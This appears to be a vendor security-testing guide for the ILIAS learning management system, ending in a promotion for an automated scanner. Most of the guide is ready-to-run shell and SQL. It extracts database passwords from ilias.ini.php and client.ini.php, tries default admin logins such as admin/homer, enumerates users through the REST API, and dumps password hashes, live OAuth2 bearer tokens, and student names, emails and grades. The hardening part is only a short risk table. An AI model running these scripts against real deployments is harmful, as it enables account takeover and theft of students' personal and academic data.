ILIAS Security Testing: Default Credentials, API Key, Database, and LMS

ILIAS is a widely deployed open-source Learning Management System used extensively by German universities, the German federal armed forces (Bundeswehr), and European education institutions. A notorious default credential (admin/homer) persists across many unpatched deployments. Key assessment areas: ilias.ini.php and client.ini.php expose MySQL credentials; the REST API uses OAuth2 tokens; and usr_data contains student PII and password hashes. This guide covers systematic ILIAS security assessment.

Table of Contents

  1. ilias.ini.php and client.ini.php MySQL Credential Extraction
  2. REST API OAuth2 Token and Admin Credential Assessment
  3. MySQL usr_data Hash, Student PII, and OAuth Token Extraction
  4. ILIAS Security Hardening

ilias.ini.php and client.ini.php MySQL Credential Extraction

# ILIAS — ilias.ini.php and client.ini.php MySQL credential extraction
ILIAS_URL="https://lms.example.com"

# ilias.ini.php — ILIAS global configuration
cat /var/www/ilias/ilias.ini.php 2>/dev/null | head -60
# [database]
# user = "ilias"
# password = "..."    <-- MySQL database password
# host = "localhost"
# name = "ilias"
# type = "innodb"

# client.ini.php — per-client database configuration (multi-client setups)
find /var/www/ilias/data -name "client.ini.php" 2>/dev/null | while read f; do
  echo "=== ${f} ===";
  grep -E "user|password|host|name" "$f" 2>/dev/null;
done

python3 -c "
import re
content = open('/var/www/ilias/ilias.ini.php').read()
patterns = {
    'db_password': r'password\s*=\s*\"([^\"]+)\"',
    'db_user': r'user\s*=\s*\"([^\"]+)\"',
    'db_host': r'host\s*=\s*\"([^\"]+)\"',
    'db_name': r'name\s*=\s*\"([^\"]+)\"',
}
for name, pattern in patterns.items():
    m = re.search(pattern, content)
    if m: print(f'{name}: {m.group(1)[:60]}')
" 2>/dev/null

# Test admin credentials (notorious ILIAS default: admin/homer)
for CRED in "admin:homer" "admin:admin" "admin:ilias" "root:homer"; do
  USER=$(echo $CRED | cut -d: -f1)
  PASS=$(echo $CRED | cut -d: -f2)
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST "${ILIAS_URL}/ilias.php?baseClass=ilStartUpGUI&cmd=post&cmdClass=ilStartUpGUI" \
    -d "username=${USER}&password=${PASS}&cmd%5BloginWithUsernameAndPassword%5D=Login" \
    -c /tmp/ilias_c -b /tmp/ilias_c -L 2>/dev/null)
  echo "${USER}/${PASS}: HTTP ${STATUS}"
done

REST API OAuth2 Token and Admin Credential Assessment

# ILIAS REST API — OAuth2 token and admin credential assessment
ILIAS_URL="https://lms.example.com"

# ILIAS REST API uses OAuth2 (available since ILIAS 5.x via REST plugin)
# Also supports basic auth in some configurations

# Test ILIAS REST API endpoint
curl -s "${ILIAS_URL}/Customizing/global/plugins/Services/UIComponent/UserInterfaceHook/REST/api.php/v1/util/apikey" \
  2>/dev/null | head -20

# OAuth2 token request (client credentials flow)
CLIENT_ID="extracted-client-id"
CLIENT_SECRET="extracted-client-secret"
curl -s -X POST "${ILIAS_URL}/Customizing/global/plugins/Services/UIComponent/UserInterfaceHook/REST/api.php/v2/oauth2/token" \
  -d "grant_type=client_credentials&client_id=${CLIENT_ID}&client_secret=${CLIENT_SECRET}" \
  2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Access token: {d.get(\"access_token\")}')
print(f'Expires in: {d.get(\"expires_in\")}')
" 2>/dev/null

# With valid token — enumerate users
ACCESS_TOKEN="extracted-token"
curl -s "${ILIAS_URL}/Customizing/global/plugins/Services/UIComponent/UserInterfaceHook/REST/api.php/v1/users" \
  -H "Authorization: Bearer ${ACCESS_TOKEN}" \
  2>/dev/null | python3 -c "
import json,sys
try:
    d=json.load(sys.stdin)
    print(f'Users: {len(d) if isinstance(d,list) else d}')
    if isinstance(d,list):
        for u in d[:5]:
            print(f'  {u.get(\"login\")} | {u.get(\"email\")} | admin={u.get(\"system_role\")}')
except: pass
" 2>/dev/null

MySQL usr_data Hash, Student PII, and OAuth Token Extraction

# ILIAS MySQL database — usr_data hash, student PII, and OAuth token extraction
DB_PASS="extracted-db-password"

mysql -u ilias -p"${DB_PASS}" ilias 2>/dev/null << 'EOF'
-- ILIAS usr_data — all users with password hashes
SELECT u.usr_id, u.login, u.email, u.passwd,
       u.passwd_enc_type,    -- 'bcrypt', 'md5', 'plain'
       u.firstname, u.lastname, u.institution,
       u.time_limit_unlimited, u.active,
       u.last_login
FROM usr_data u
WHERE u.active = 1
ORDER BY u.usr_id
LIMIT 20;
-- passwd: MD5 hash or bcrypt depending on version
-- usr_id=6: default ILIAS administrator account

-- Administrator users (system administrators)
SELECT u.usr_id, u.login, u.email, u.passwd,
       u.passwd_enc_type, u.firstname, u.lastname
FROM usr_data u
JOIN rbac_ua ua ON ua.usr_id = u.usr_id
JOIN rbac_fa fa ON fa.rol_id = ua.rol_id
WHERE fa.assign = 'y'                 -- role assignment
AND ua.rol_id IN (
  SELECT obj_id FROM object_data
  WHERE title = 'Administrator'
)
LIMIT 10;

-- OAuth2 access tokens (REST API authentication)
SELECT t.id, t.token, t.client_id,
       t.user_id, t.expires,
       u.login, u.email
FROM il_oauth_access_token t
JOIN usr_data u ON u.usr_id = t.user_id
WHERE t.expires > NOW()
ORDER BY t.expires DESC
LIMIT 20;
-- token: plaintext OAuth2 Bearer token

-- Student course enrollments with grades
SELECT u.login, u.email, u.firstname, u.lastname,
       o.title as course_title,
       lp.status, lp.percentage
FROM usr_data u
JOIN ut_lp_marks lp ON lp.usr_id = u.usr_id
JOIN object_data o ON o.obj_id = lp.obj_id
WHERE o.type = 'crs'        -- course type
AND lp.percentage IS NOT NULL
ORDER BY u.usr_id
LIMIT 20;
EOF

ILIAS Security Hardening

ILIAS Security Hardening Checklist:
Security TestMethodRisk
admin/homer default credential testPOST /ilias.php?baseClass=ilStartUpGUI — admin session with notorious default password; full LMS administration, user management, course data, certificate accessCritical
ilias.ini.php MySQL password extractionRead /var/www/ilias/ilias.ini.php — database credentials for all student data, course content, grades, and OAuth tokensCritical
il_oauth_access_token plaintext OAuth2 Bearer token extractionMySQL SELECT token FROM il_oauth_access_token — plaintext OAuth2 tokens; full REST API access at token user's permission levelHigh
usr_data MD5 and bcrypt password hash extractionMySQL SELECT passwd, passwd_enc_type FROM usr_data — MD5 hashes crack instantly; bcrypt for newer accounts; admin (usr_id=6) hash extraction enables full platform compromiseHigh
Student PII and grade data extractionMySQL SELECT from usr_data JOIN ut_lp_marks — student names, emails, institutions, course completion percentages; GDPR-relevant academic records for potentially thousands of studentsHigh

Automate ILIAS Security Testing

Ironimo tests ILIAS LMS deployments for admin/homer notorious default credential testing at /ilias.php, ilias.ini.php MySQL password and client.ini.php web exposure, /setup/ directory post-installation accessibility, il_oauth_access_token plaintext OAuth2 Bearer token enumeration, REST API user enumeration with administrator role identification, usr_data MD5 (immediate crack risk) and bcrypt password hash extraction, student PII from usr_data (name, email, institution), course enrollment and grade percentage extraction from ut_lp_marks, ILIAS version disclosure for CVE targeting, and debug mode status assessment.

Start free scan